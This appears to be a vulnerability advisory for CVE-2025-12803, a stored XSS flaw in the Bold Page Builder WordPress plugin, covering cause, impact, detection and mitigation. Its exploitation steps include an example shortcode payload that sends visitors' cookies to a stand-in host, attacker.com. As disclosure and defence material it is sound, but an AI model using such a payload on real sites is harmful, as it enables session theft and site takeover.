CVE-2025-12803: 
WordPress vulnerability analysis and mitigation

CVE-2025-12803 is a Stored Cross-Site Scripting (XSS) vulnerability in the Bold Page Builder plugin for WordPress, affecting all versions up to and including 5.5.1. The flaw exists in the bt_bb_tabs shortcode handler due to insufficient input sanitization and output escaping on user-supplied attributes. It was published on February 7, 2026, and assigned by Wordfence. The vulnerability carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

The root cause is classified as CWE-80 (Improper Neutralization of Script-Related HTML Tags in a Web Page), stemming from the bt_bb_tabs shortcode in the Bold Page Builder plugin failing to properly sanitize user-supplied shortcode attributes before rendering them in HTML output. An authenticated attacker with at least contributor-level WordPress access can craft a malicious shortcode containing arbitrary JavaScript, which is then stored in the database and executed in the browser of any user who visits the affected page. The vulnerable code path is visible in the plugin's source at content_elements/bt_bb_tabs/bt_bb_tabs.php (line 65) (Wordfence, WordPress Trac).

Successful exploitation allows an authenticated contributor (or higher-privileged user) to persistently inject malicious scripts into WordPress pages, which execute in the context of any visitor's browser. This can lead to session cookie theft, credential harvesting, defacement, redirection to malicious sites, or further attacks against site administrators — potentially enabling full site takeover if an admin account is compromised. Confidentiality and integrity are both impacted at a low-to-moderate level, while availability is not directly affected (Wordfence).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-12803 as of the available data. The EPSS score is approximately 0.01%, indicating a very low probability of near-term exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires authenticated access at the contributor level or above, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence, Red Hat CVE).

1. Gain Contributor Access: Obtain or register a WordPress account with at least contributor-level privileges on a site running Bold Page Builder ≤ 5.5.1.
2. Create or Edit a Page/Post: Navigate to the WordPress editor and create or edit a page or post that uses the Bold Page Builder.
3. Insert Malicious Shortcode: Add the bt_bb_tabs shortcode with a crafted attribute containing a JavaScript payload, e.g., [bt_bb_tabs tab_style="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish the Content: Save and publish the page so the malicious shortcode is stored in the WordPress database.
5. Trigger Execution: When any user (including administrators) visits the injected page, the unsanitized attribute is rendered in the HTML response and the injected script executes in their browser, enabling session hijacking or further attacks (Wordfence, WordPress Trac).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or REST API endpoints containing bt_bb_tabs shortcode with unusual attribute values (e.g., <script>, javascript:, encoded payloads).
• Database: Unexpected JavaScript or HTML script tags stored in wp_posts or wp_postmeta tables within bt_bb_tabs shortcode attributes.
• Network: Outbound requests from site visitors' browsers to unknown external domains shortly after loading pages containing the bt_bb_tabs shortcode, potentially carrying cookie or session data.
• File System: No direct file system artifacts expected for stored XSS, but review recently modified page content in the WordPress database for injected script content.

Site administrators should update the Bold Page Builder plugin to a version beyond 5.5.1 that includes the fix for this vulnerability. Until a patched version is available or applied, restrict contributor-level user registration and limit who can create or edit pages using the Bold Page Builder. Additionally, deploying a Web Application Firewall (WAF) such as Wordfence can help detect and block attempts to inject malicious shortcode attributes (Wordfence).

Wordfence disclosed the vulnerability as part of their weekly WordPress vulnerability report for February 2–8, 2026, providing standard advisory coverage (Wordfence Blog). No notable independent researcher commentary, significant social media discussion, or major media coverage has been identified for this vulnerability beyond routine aggregation by vulnerability databases.